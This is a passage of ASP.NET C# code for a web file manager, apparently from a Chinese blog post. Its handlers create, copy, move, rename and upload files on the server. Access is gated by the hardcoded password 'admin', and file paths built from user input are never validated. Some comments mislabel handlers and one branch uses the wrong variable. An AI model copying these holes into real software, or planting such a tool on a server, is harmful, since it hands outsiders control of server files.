       if(!Chk_Purview())return;
       try{
       File.CreateText(Path.Combine(FolderPath.Value,TextBox2.Text.ToString()));
       }
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
        return;
       }
       Response.Write("<script language=javascript>alert('文件已经创建!');<"+"/script>");
       TextBox2.Text = "";
       DisplayList(FolderPath.Value);
       return;
      }
      /// <summary>
      /// 删除文件夹。
      /// </summary>
      private void Button2_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       try{
       Directory.CreateDirectory(Path.Combine(FolderPath.Value,TextBox2.Text.ToString()));
       }
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
        return;
       }
       Response.Write("<script language=javascript>alert('文件夹已经创建!');<"+"/script>");
       TextBox2.Text = "";
       DisplayList(FolderPath.Value);
       return;
      }
      /// <summary>
      /// 复制文件或文件夹。
      /// </summary>
      private void Button7_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       string TempPath="";
       if(CurrentFile.Value != "")
       {
        TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
        Session["Type"] = "File";
       }
       else if(CurrentFolder.Value != "")
       {
        TempPath = Path.Combine(FolderPath.Value,CurrentFolder.Value);
        Session["Type"] = "Folder";
       } 
       TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
       Session["CutBoard"] = TempPath;
       Session["Action"] = "copy"; 
       Button9.Enabled = true;
       return;
      }
      /// <summary>
      /// 剪切文件或文件夹。
      /// </summary>
      private void Button8_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       string TempPath="";
       if(CurrentFile.Value != "")
       {
        TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
        Session["Type"] = "File";
       }
       else if(CurrentFolder.Value != "")
       {
        TempPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
        Session["Type"] = "Folder";
       }
       TempPath = Server.UrlDecode(Server.UrlEncode(TempPath).Replace("%c2%a0","+"));
       Session["CutBoard"] = TempPath;
       Session["Action"] = "cut";  
       Button9.Enabled = true;
       return;
      }
      /// <summary>
      /// 粘贴文件或文件夹。
      /// </summary>
      private void Button9_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       try
       {
       if(Session["CutBoard"].ToString() != "")
       {
        char[] de = {'\\'};
        string[] TempArray = Session["CutBoard"].ToString().Split(de);
        if(Session["Type"].ToString() == "File"){
         if(Session["Action"].ToString() == "copy"){ File.Copy(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
         }
         else{ File.Move(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
         }
        }
        else if(Session["Type"].ToString() == "Folder"){
         if(Session["Action"].ToString() == "copy")
         { copyDirectory(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
         }
         else{ Directory.Move(Session["CutBoard"].ToString(),FolderPath.Value+@"\"+TempArray[TempArray.Length-1]);
         }
        }
        DisplayList(FolderPath.Value);
        return;
       }}
       catch(Exception ex)
       {
        ErrorText.Text = ex.Message;
        return;
       }
      }
      /// <summary>
      /// 复制文件夹。
      /// </summary>
      private void copyDirectory(string Src,string Dst)
      {
       if(!Chk_Purview())return;
       String[] Files;
       if(Dst[Dst.Length-1]!=Path.DirectorySeparatorChar) Dst+=Path.DirectorySeparatorChar;
       if(!Directory.Exists(Dst)) Directory.CreateDirectory(Dst);
       Files=Directory.GetFileSystemEntries(Src);
       foreach(string Element in Files)
       {
        // Sub directories
        if(Directory.Exists(Element)) copyDirectory(Element,Dst+Path.GetFileName(Element));
        // Files in directory
        else File.Copy(Element,Dst+Path.GetFileName(Element),true);
       }
      }
      /// <summary>
      /// 登录系统。
      /// </summary>
      private void Button12_Click(object sender, System.EventArgs e)
      {
       if(Session["admin"] == null)
       {  
     Button13.Attributes.Add("onclick","if(form2.TextBox3.value==''){alert('请输入密码!');TextBox3.focus();return false;}");
        TextBox3.Attributes.Add("onkeypress","if(event.keyCode == 13){form2.Button13.click();return false;}");
        TextBox3.Visible = true;
        Button13.Visible = true;
        Button12.Visible = false;
        return;
       }
       else{
        Session["admin"] = null;Button10.Visible = false;Button11.Visible = false;
        Button3.Visible = false;Button5.Visible = false;Button6.Visible = false;
        Button7.Visible = false;Button8.Visible = false;Button9.Visible = false;
        Button14.Visible = false;edit.Style.Add("display","none");Button12.Text = "登录系统";
        return;
       }
      }
      /// <summary>
      /// 验证用户。
      /// </summary>
      private void Button13_Click(object sender, System.EventArgs e)
      {
       //设置登录密码
       string pass = "admin";
       if(TextBox3.Text == pass){
        Session["admin"] = pass;Button12.Text = "退出登录";Button10.Visible = true;
        Button11.Visible = true;Button5.Visible = true;Button6.Visible = true;
        Button7.Visible = true;Button8.Visible = true;Button9.Visible = true;
        Button7.Enabled = false;Button8.Enabled = false;Button9.Enabled = false;
        Button14.Visible = true;edit.Style.Add("display","");
        return;
       }
       else{
        ErrorText.Text = "密码错误,登录失败!";
        return;
       }
      }
      /// <summary>
      ///文件或文件夹重命名。
      /// </summary>
      private void Button15_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       try{
       string OldPath="",NewPath="";
       if(CurrentFile.Value != "")
       {
        OldPath = Path.Combine(FolderPath.Value,CurrentFile.Value);
        OldPath = Server.UrlDecode(Server.UrlEncode(OldPath).Replace("%c2%a0","+"));
        NewPath = Path.Combine(FolderPath.Value,TextBox4.Text);
        File.Move(OldPath,NewPath);
       }
       else if(CurrentFolder.Value != "")
       {
        OldPath = Path.Combine(FolderPath.Value,CurrentFolder.Value);
        OldPath = Server.UrlDecode(Server.UrlEncode(OldPath).Replace("%c2%a0","+"));
        NewPath = Path.Combine(FolderPath.Value,TextBox4.Text);
        Directory.Move(OldPath,NewPath);
       }
       }
       catch(Exception ex){
        ErrorText.Text = ex.Message;
        return;
        }
       DisplayList(FolderPath.Value);
       Response.Write("<script language=javascript>alert('重命名成功!');<"+"/script>");
       return;
      }

      /// <summary>
      /// 页面执行时间。
      /// </summary>
      public double TimeCount(System.DateTime boftime, System.DateTime eoftime)
      {
       return (eoftime - boftime).TotalMilliseconds;
      }
      private bool Chk_Purview()
      {
       bool log;
       if(Session["admin"] == null || Session["admin"] == ""){
        Response.Write("<script language=javascript>alert('还未登录或操作已超时!');<"+"/script>");
        log = false;    
       }
       else
       log = true;
       return log;
      }
      #endregion

      #region Initialize Buttons Click

      /// <summary>
      /// 初始化上传。
      /// </summary>
      private void Button10_Click(object sender, System.EventArgs e) 
      {
       if(!Chk_Purview())return;
       UploadFile.Style.Add("display","");Button4.Visible = true;Button10.Visible = false;
       return;
      }
      /// <summary>
      /// 初始化新建。。。
      /// </summary>
      private void Button11_Click(object sender, System.EventArgs e)
      { 
       if(!Chk_Purview())return; Button1.Attributes.Add("onclick","if(form2.TextBox2.value==''){alert('请输入文件名!');TextBox2.focus();return false;}");   Button2.Attributes.Add("onclick","if(form2.TextBox2.value==''){alert('请输入文件夹名!');TextBox2.focus();return false;}");
       TextBox2.Visible = true;Button1.Visible = true;Button2.Visible = true;Button11.Visible = false;
       return;
      }
      /// <summary>
      ///初始化重命名。
      /// </summary>
      private void Button14_Click(object sender, System.EventArgs e)
      {
       if(!Chk_Purview())return;
       Button15.Attributes.Add("onclick","if(form2.CurrentFile.value=='' && form2.CurrentFolder.value==''){alert('请选取一个文件或文件名!');return false;}if(form2.TextBox4.value==''){alert('请输入新文件名或文件夹名!');TextBox4.focus();return false;}");
       TextBox4.Visible = true;Button15.Visible = true;Button14.Visible = false;
       return;
      }
      #endregion
    </script>

  • 相关阅读:
    微信定制开发怎么做?
    bzoj4069【APIO2015】巴厘岛的雕塑
    bzoj3174【TJOI2013】解救小矮人
    bzoj3531【SDOI2014】旅行
    单例模式
    JDK自带的定时任务
    centos6下手工编译vitess
    Rocchio算法
    Excel如何查找名字重复的数据
    MyEclipse8.5快速搭建SSH框架
  • 原文地址:https://www.cnblogs.com/winner/p/357118.html
Copyright © 2020-2023  润新知